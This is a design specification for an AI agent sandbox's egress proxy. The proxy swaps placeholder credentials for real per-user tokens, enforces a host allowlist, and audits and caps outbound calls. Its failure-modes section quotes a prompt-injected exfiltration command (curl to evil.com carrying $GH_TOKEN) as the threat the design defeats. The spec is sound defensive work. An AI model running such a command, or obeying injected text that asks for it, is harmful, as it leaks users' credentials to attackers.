Version: 2.0 — June 19, 2026
Status: Design (approved for implementation planning). Mechanism realized as a static single-tenant slice by RC1 — AuthBridge egress control-plane PoC (2026-07-14): RC1 implements the forward-proxy + baked-CA + header-swap mechanism (RC1 "Profile B") with a static credential. This spec is retained as the home of the deferred per-user / RFC 8693 token-exchange core.
Scope: How the sandbox reaches any HTTP API (GitHub, internal REST, arbitrary
allowlisted hosts) under the same zero-trust credential spine M10 established for MCP —
with per-user credentials resolved and injected only at the egress proxy, never held by
the harness, the sandbox, the prompt, or the log.
Milestone number: M13 (provisional) — a new sibling milestone extending the parent
roadmap's M7–M12. Adjust the number to fit the parent roadmap when slotted.
Parent design: Zero-Trust, Multi-Agent Extensions to the Serverless Harness §2 spine, §3.2 sandbox egress, §4.1 invariants, M7–M9 credential plane
Sibling / specializes: M10 — MCP via Code-Mode in the Sandbox — M10's MCP-over-HTTP path becomes one interception case of this design.
Builds on: M1 (Redis session backend), M2 (K8sSandboxClient), M3 (persistent channel), M4 (Knative wrapper), M10 (MCP code-mode + credential/identity model §5, placeholder-swap §5.3)
Relationship to M10. M10 is frozen and approved. This design does not reopen it; it generalizes the credential mechanism M10 already adopted — the placeholder-swap pattern (M10 §5.3) — to all HTTP egress. The selector, the resolvers, the audit producer, and the budget machinery are shared. Only the interception point differs: M10's in-mesh waypoint for in-mesh MCP backends; a forward proxy for external hosts.
Changelog 2.0 (supersedes v1.0). v1.0 chose an in-mesh front-door + host-based injection (model sends no auth; proxy adds it) explicitly to avoid TLS interception, at the cost of per-host mesh config, a generic egress helper, per-API wrappers for correctness, and an env-injection escape hatch for foreign binaries. v2.0 pivots to AuthBridge's own placeholder-swap pattern over a forward proxy: the sandbox/tools hold only inert placeholders, a forward proxy (
HTTPS_PROXY+ a baked CA) sees the request at L7 and overwrites the placeholder with the real resolved credential. This makesgh/curl/SDKs work natively and unmodified, collapses the front-door + correctness-wrappers apparatus, preserves full per-call L7 audit, and is more faithful to AuthBridge. The accepted cost is a baked CA (a trust anchor, not a secret) and one residual escape hatch for request-signing APIs (AWS SigV4). The selector and per-user stored-credential model are unchanged from v1.0.
M10 settled one egress shape — MCP-over-HTTP to in-mesh kagenti backends — and proved the
spine on it: the model runs code in the sandbox that makes a credentialed call it cannot read,
using AuthBridge's placeholder-swap so the sandbox never holds a real secret. This
milestone answers the obvious next question: what about everything else the model wants to
reach? gh/the GitHub API, curl to an endpoint, code using an SDK against a service. The
driving requirement is one unified mechanism in which MCP is not special — it is the first
instance of "credentialed egress the sandbox can't read."
The principle (inherited from M10, widened): the model writes the code a human would —
gh pr view, curl https://api.github.com/…, an SDK call — using a credential that is, in the
sandbox, a placeholder. The egress proxy resolves (bound subject ⊕ destination) → credential, overwrites the placeholder with the real token at L7, logs the call, and
enforces a cap. The sandbox, the prompt, and the log never see a real secret.
A user prompts: "review the PR at rossoctl/rossoctl#1990" — and knows nothing about proxies, placeholders, or credentials.
- The model maps intent → GitHub and writes a sandbox script the natural way, e.g.
gh pr view 1990 --repo kagenti/kagenti --json …(orcurl https://api.github.com/repos/kagenti/kagenti/pulls/1990). It usesGH_TOKEN, which in the sandbox is an inert placeholder. - The request egresses via
HTTPS_PROXY→ the AuthBridge forward proxy. The proxy terminates TLS (baked CA), seesAuthorization: Bearer <placeholder>bound for api.github.com, resolves session →subject = <user>, host-policy → the user's stored GitHub grant, overwrites the header with the real token, originates real TLS to api.github.com, appends one audit entry, counts it. - GitHub sees the call as that user. The script filters/summarizes the diff in code and
prints only the review-relevant slice → one
tool_result. A 3000-line PR never floods context — the filter-in-code token win, preserved.
- A forward egress proxy (AuthBridge) the sandbox is configured to use (
HTTPS_PROXY), with a baked CA in the sandbox trust store so it can read + rewrite L7 for external HTTPS. - Placeholder-swap for all egress credentials: inert placeholders satisfy the client tool;
the proxy overwrites per a per-destination host-policy, keyed on
(subject ⊕ destination). - Per-destination credential resolvers: RFC 8693 mint (OAuth backends — the M10 path) or fetch the user's stored grant (non-exchangeable APIs like GitHub).
- Egress allowlist enforced at the proxy (host roster = allowlist = exfil boundary).
- Generalized audit + budget: per-call
egress-brokerlog entries (full L7); hard per-session egress-call cap; soft turn-boundary budget widened to count them. - Recording the per-user external-credential-store + linking/consent shape (§4) as a hard identity-plane dependency this milestone consumes, mirroring M10 §5.
- The per-user external-credential store + onboarding/consent build itself — M7–M9 identity-plane work. This design records its required shape; it does not build it.
- Optional progressive-disclosure wrappers. Native tools are first-class (§5); pre-baked per-API wrappers are a later, optional token-optimization for very large API surfaces, not required for correctness. Not built here.
- Request-signing APIs (AWS SigV4 and similar). Where the secret signs the request, a post-hoc header swap is impossible; these stay an env-inject-real-key escape hatch (§5.3), deferred.
- Per-team / per-session host rosters. Static per environment; deferred.
- stdio-transport MCP and non-HTTP protocols.
- Subagent fan-out mechanics — M11; this design only confirms composition (§7).
| # | Decision | Choice |
|---|---|---|
| E1 | Unification | One credential mechanism across all egress; MCP is one interception case. Shared selector, resolvers, placeholder-swap, audit producer, and budget. Interception differs only by locality: in-mesh waypoint (MCP/internal, M10) vs. forward proxy (external). |
| E2 | Credential presentation | Placeholder-swap (AuthBridge-native). The sandbox/tool holds only an inert placeholder; the proxy overwrites it with the real resolved credential at egress. Tools use their native auth mechanism unchanged. |
| E3 | External interception | Forward proxy (HTTPS_PROXY) + baked CA in the sandbox trust store. TLS interception is accepted and is the enabling mechanism. The CA is a trust anchor, not a secret (the proxy's private key never leaves the proxy). |
| E4 | Egress allowlist | Enforced at the proxy. It forwards only to allowlisted hosts; the host roster is the allowlist and the exfil boundary. "curl to anywhere" is structurally impossible. |
| E5 | Non-OAuth scoping | Per-user stored credentials. No shared-workload fallback. Non-mintable destinations (GitHub PAT/App, third-party keys) resolve to the user's own pre-linked grant, keyed by bound subject. |
| E6 | Credential resolver | Two resolvers, one selector. (subject ⊕ destination) resolves via mint (RFC 8693) for OAuth backends (M10 path) or fetch-stored-grant for everything else. The host-policy entry declares which, and which request field carries the credential. |
| E7 | Model interface | Native tools, first-class. gh/curl/SDKs work unmodified using placeholder creds from env/config — the model writes the code a human would. Wrappers + a generic helper drop to optional token-optimization, not required for correctness or steering. The filter-in-code token win is preserved by code-mode regardless. |
| E8 | Escape hatch | Only request-signing schemes (AWS SigV4 etc.), where the secret signs the request and cannot be swapped post-hoc, remain an env-inject-real-key escape hatch. Bearer/OAuth/header APIs (incl. GitHub) are first-class. |
| E9 | Security boundary | The forward proxy is the sole egress + enforcement point — allowlist, resolve, overwrite, audit, cap. Sandbox code is fully bypass-capable and enforces nothing. |
| E10 | Home | New sibling milestone (this doc). Keeps M10 frozen; records the new identity-plane dependency rather than entangling timelines. |
| E11 | Placeholder semantics & exfil | Placeholders are inert markers that satisfy client tools. The proxy overwrites with the real credential only for the matching allowlisted destination, keyed on (subject ⊕ destination). A placeholder sent anywhere else is never swapped and the host isn't reachable — so a leaked placeholder is worthless and a real credential never leaves its bound destination. |
user: "review PR https://github.com/kagenti/kagenti/pull/1990" (knows nothing of egress)
│
▼ model maps intent → GitHub; writes a NATURAL script in the sandbox
script: gh pr view 1990 --repo kagenti/kagenti --json title,files,reviews
│ (or: curl https://api.github.com/repos/kagenti/kagenti/pulls/1990)
│ GH_TOKEN in the sandbox = an INERT PLACEHOLDER
▼ egress via HTTPS_PROXY
AuthBridge forward proxy (the broker) — TLS-terminates via the baked CA
• see request: Authorization: Bearer <placeholder>, Host = api.github.com
• resolve session (X-Kagenti-Session / SPIFFE) → subject = <user>
• host-policy[api.github.com] → resolver + credential field:
- OAuth backend? RFC 8693 mint (M10 path)
- else fetch <user>'s STORED github grant, refresh if needed
• OVERWRITE the credential field with the real token (placeholder-swap)
• originate REAL TLS outward to api.github.com
• append ONE per-call audit entry → session stream
(data.via="egress-broker", host, method, path, subject, actor_spiffe_id)
• increment per-session egress counter; reject past the hard cap
│
▼ real api.github.com — enforces per-user authz on the injected token
script filters / summarizes the diff IN CODE, prints ONLY the review slice
│
▼ returns as ONE tool_result to the model context ← the token win
Why this shape. It reuses AuthBridge's existing placeholder-swap pattern (M10 §5.3) and makes external APIs reachable with zero special model behavior — the model writes exactly what a human would, because the credential it references is a placeholder the proxy fills in. The two M10 token-win properties survive: tool/endpoint knowledge is the model's own (or optional on-disk wrappers), and intermediate results are filtered in code so only the slice enters context. The forward proxy is the only security boundary (E9): because the model writes arbitrary code, nothing in the sandbox can constrain reachability — allowlist, per-user resolution, overwrite, audit, and cap all live at the proxy.
MCP stays M10. In-mesh MCP backends keep M10's in-mesh waypoint interception (mesh mTLS, a legitimate terminator — no CA needed there). M13 adds the forward-proxy interception for external hosts. Same brain (selector, resolvers, placeholder-swap, audit, cap), two interception points by locality.
Every egress resolves (bound subject ⊕ destination host) → credential at the proxy. The
host-policy entry for the destination declares the resolver and which request field carries
the credential (e.g. Authorization header, bearer):
| Resolver | When | How | Per-user? |
|---|---|---|---|
| Mint (RFC 8693) | destination speaks OAuth (M10 MCP backends, OIDC APIs) | actor = workload JWT-SVID, subject = <user>, audience = backend → fresh scoped token |
yes, minted |
| Stored grant | non-exchangeable API (GitHub PAT/App installation, third-party key) | fetch the user's pre-linked credential; refresh if supported | yes, stored |
The minting resolver is M10 §5 verbatim. The stored-grant resolver is the new capability and the reason for the identity-plane dependency below.
Many useful APIs cannot mint a per-user token by exchange: a single shared key has no "Bob's
version." This design does not fall back to a shared workload credential (rejected — it
breaks per-user isolation). Instead it requires a per-user external-credential store + a
one-time linking/consent flow: the user links a destination once (OAuth authorize, or
registers a fine-grained PAT) → an offline grant lands in the identity plane, keyed
(subject, destination).
Required properties of that store — recorded so the M7–M9 build inherits a settled shape (this milestone consumes, does not build, the store):
- At rest: identity plane (Keycloak) + a K8s Secret loaded into the proxy sidecar's memory. Never in the harness or sandbox. (Spine §4.1.)
- Selection: by bound subject + destination. Blast radius: a compromised sandbox in a user's session can reach only that user's grants.
- Lifecycle: consent, rotation, expiry, revocation are first-class. On expiry/revoke the egress call returns an auth error into the script — no silent fallback to a workload-only or less-scoped credential.
- Interactive vs. unattended are identical at egress. GitHub login is not part of kagenti's Keycloak login, so even an online, interactive session reads the user's stored grant — not a live propagated GitHub token. Unattended (scale-to-zero, user offline) reads the same grant. This subsumes M10's live-or-delegated subject sourcing.
- Placeholders are provisioned into the sandbox as ordinary tool config/env (
GH_TOKEN, etc.) set to a recognizable inert value. They are fake — not secrets — so the model may read them freely, and they only exist to satisfy clients that refuse to send a request without a credential present. The harness can set them at bind time from the host-policy (no rebuild to add a bearer destination), or the image can ship standard placeholders. - The proxy overwrites, not merely fills. Seeing the request at L7, the proxy replaces the credential field declared by the host-policy with the real resolved token, regardless of the placeholder's value. The sandbox's MCP/HTTP client never holds a usable secret.
- The real credential is injected downstream of the log, so no log entry, prompt, or sandbox surface carries it (invariant §4.1).
subject and actor_spiffe_id are identity references, never secrets. Injection happens
downstream of the log, at the proxy. The parent's red-team grep (log + harness env + sandbox env
- reconstructed prompt) remains the direct test.
Native tools are first-class (E7). The model writes the code a human would. gh, curl,
and SDKs run unmodified, reading placeholder credentials from their usual env/config. No helper,
no front-door hostname, no endpoint-override, no special convention. Real hostnames
(api.github.com) are used directly; HTTPS_PROXY routes egress to the broker transparently.
The filter-in-code token win is preserved regardless. Code-mode means the model's script
runs the tool, processes output in code, and prints only the relevant slice — so a huge PR
diff or API response never floods context. This holds whether the script uses gh, curl, or a
wrapper; it is a property of running tools inside a script, not of any wrapper.
Optional wrappers (deferred, not required). For a very large API surface where even
discovering endpoints costs context, pre-baked ./apis/<service>/… stubs can be added later as
a pure progressive-disclosure optimization. They are not needed for correctness or steering
under v2.0 (native tools already work), and they are never a security boundary (§5.1).
The model writes arbitrary code; it can address any host, set any header, ignore any wrapper. Therefore nothing in the sandbox constrains reachability or credentials. Enforcement is entirely the proxy's: allowlist (which hosts), per-user resolution (whose credential), overwrite (the sandbox never holds the secret), audit, and cap.
The forward proxy terminates TLS using a CA baked into the sandbox trust store. This is the enabling mechanism, and its cost is bounded:
- The CA is a trust anchor, not a secret. The proxy's signing key stays in the proxy; a compromised sandbox gains nothing from possessing the public CA cert.
- Realistic clients are unaffected.
gh,curl, boto3, the AWS CLI all use the system CA bundle (or honor*_CA_BUNDLE/NODE_EXTRA_CA_CERTS); none pin by default. Certificate pinning is an exotic case; if a specific pinned client must be supported, route it around the proxy on a documented exception. - Audit improves. Because the proxy sees full L7, per-call audit carries method + path, not just SNI.
Where the credential signs the request (AWS SigV4 and similar), the signature is computed
from the secret, so a post-hoc header swap cannot work — the proxy would have to hold the secret
and re-sign. For these, the secret must reach the signer: an OpenShell-style credentials-driver
injects a short-lived per-user key into env, the SDK signs locally, and the proxy enforces
allowlist + audit (SNI-level) but does not swap. This is the weaker path (token in env,
coarser audit), narrowly scoped to signing schemes, resolved by the same (subject ⊕ destination) selector, and deferred until a real need lands. Bearer/OAuth/header APIs — the
common case, GitHub included — never touch it.
Audit (generalize M10 D3). The proxy is the log producer for all egress; full L7 visibility (it terminates TLS) means per-call entries carry method + path:
data.via = "egress-broker" // "mcp-waypoint" is a sub-case
data.host = "api.github.com"
data.method/path = "GET /repos/kagenti/kagenti/pulls/1990"
data.subject = <user> // identity reference
data.actor_spiffe_id = spiffe://…/sandbox
From Pi's view a script run is still one intention → one tool_result; fine-grained per-call
visibility lives in the session stream. Invariant §4.1 holds: no entry carries a raw secret —
the overwrite is downstream of the log.
Budget (M10's "lean both," generalized).
- Hard cap (proxy): a high per-session egress-call ceiling — kill-switch for a runaway loop (the model writes a loop making thousands of calls inside one bash run, where no inference happens and the turn-boundary budget never sees it). A counter + one comparison on the audit path.
- Soft budget (harness): the existing M4-era turn-boundary voter, its cumulative sum widened
to count broker-written egress entries → clean
abort.
Failure modes:
- Hard-cap hit → the egress call fails inside the model's script; the model adapts mid-run.
- Single-turn budget burn → caught at the next turn boundary by the soft budget; pathological intra-turn loops caught by the hard cap.
- Grant expired / revoked → the resolver fails at the proxy; an auth error returns into the script. No silent fallback.
- Destination off the allowlist → the proxy refuses (no CONNECT/forward); reachability is bounded to the host roster (E4).
- Placeholder misused (e.g. prompt-injected
curl evil.com -H "Authorization: Bearer $GH_TOKEN") → triple-defended:GH_TOKENis a fake placeholder; evil.com is not allowlisted (blocked); and even if it were, the proxy only swaps github creds for the github destination (E11). Nothing real leaks.
Composes with subagents with no extra mechanism, as M10 §9: each subagent gets a fresh isolated
sandbox → its own SPIFFE id → its own proxy egress scope, its own per-session egress cap, and
resolution bound to its own (actor SVID ⊕ subject). A subagent acting for the same user
inherits the parent's bound subject (optionally a down-scoped grant); a misbehaving subagent can
reach only its own scope's grants. Same image + placeholders, own identity. Nothing egress- or
credential-specific is added in M11 for this to hold.
- New identity-plane state. A per-user external-credential store with consent, linking, rotation, and revocation — larger than M10's delegation. A hard M7–M9 dependency; this milestone is blocked on it for its per-user, unattended gate (criterion 3).
- A baked CA + TLS interception. Accepted (E3, §5.2): a trust anchor not a secret, realistic clients unaffected, audit improves. Cost: conceptual MITM of egress and a documented exception path for any genuinely cert-pinning client.
- Placeholder provisioning. Each bearer destination needs a placeholder present in the sandbox (env/config). Lightweight (fake values, set at bind time from host-policy), but it is a provisioning step and a per-destination host-policy entry (resolver + credential field).
- Residual escape hatch for request-signing APIs. AWS-SigV4-style schemes can't be swapped; they keep the weaker env-inject path (§5.3). Narrow and deferred.
- Richer L7 proxy on the critical path. It now terminates TLS and rewrites arbitrary HTTP, not only MCP-over-HTTP. Mitigated by one shared codebase with M10 (MCP becomes a resolver + interception case, not a separate component).
- Relaxed isolation (inherited from M10 §10.1). Untrusted backends are reachable through the mediating proxy rather than air-gapped; isolation comes from the proxy + NetworkPolicy + the bounded host roster. A terminating hop can be reintroduced for a specific high-risk backend without changing the model-facing behavior.
M13 passes when, end to end on a Kind cluster with the sandbox image (baked CA + HTTPS_PROXY +
placeholders), the AuthBridge forward proxy, and the M7–M9 identity plane (including the per-user
external-credential store) deployed:
- "review PR 1990" completes purely by the model running a native sandbox script
(
gh/curl);grepconfirms no real token is present in the harness bundle, sandbox env (placeholder only), or prompt. - The real GitHub credential is present only at the proxy: red-team grep finds it absent from
harness env, sandbox env, prompt, and every session-log entry, while the call still succeeds as
the prompting user; each call produced an
egress-brokeraudit entry with method/path,subject, andactor_spiffe_id. - Per-user, unattended: two sessions bound to different subjects (bob, alice), with no live user token present, reach api.github.com with distinct stored grants; GitHub attributes bob's calls as bob and alice's as alice.
- A deliberately runaway egress loop trips the hard cap (the call fails mid-script); a separate
over-budget session ends via a clean turn-boundary
abort. - A destination off the allowlist is refused; an expired/revoked grant surfaces an auth error into the script with no silent fallback.
- Exfil defense: a prompt-injected attempt to send the GitHub placeholder to a non-github host fails — the host is blocked and/or no swap occurs; no real credential leaves its bound destination.
- Unification demonstrated: an MCP call (in-mesh waypoint) and a GitHub call (forward proxy) share the same resolver/selector/placeholder-swap/audit logic, differing only in interception point and resolver.
- Zero-Trust, Multi-Agent Extensions — §2 spine, §3.2 sandbox egress, §4.1 invariants, M7–M9 credential plane.
- M10 — MCP via Code-Mode in the Sandbox — the MCP path this design generalizes (§5 credential/identity model; §5.3 placeholder-swap, the pattern this design extends to all egress; §5.4 env-injection complement, now narrowed to signing-only; D3 audit producer; D4 budget).
- M2 Design — K8sSandboxClient — Operations redirection to the pod (the path code-mode rides).
- M4 Design — Knative Serverless Wrapper —
runTurn, the budget voter this design widens. - kagenti AuthBridge —
kagenti-extensions/AuthBridge: RFC 8693 token exchange, SPIFFE JWT-SVID client assertion, Keycloak; the placeholder-swap design (2026-06-02-credential-placeholder-swap-design.md) this milestone builds on; actor-token chaining noted unwired (the M7/M8 build). - OpenShell credentials-keycloak — UDS gRPC credentials driver, env-injection pattern (now scoped to the request-signing escape hatch, §5.3).
- RFC 8693 — OAuth 2.0 Token Exchange (
subject_token,actor_token,audience; §4.1 delegation chaining). - Anthropic, "Code execution with MCP: building more efficient agents" (Nov 2025) — the filter-in-code + progressive-disclosure pattern this design extends beyond MCP.
Assisted-By: Claude (Anthropic AI) noreply@anthropic.com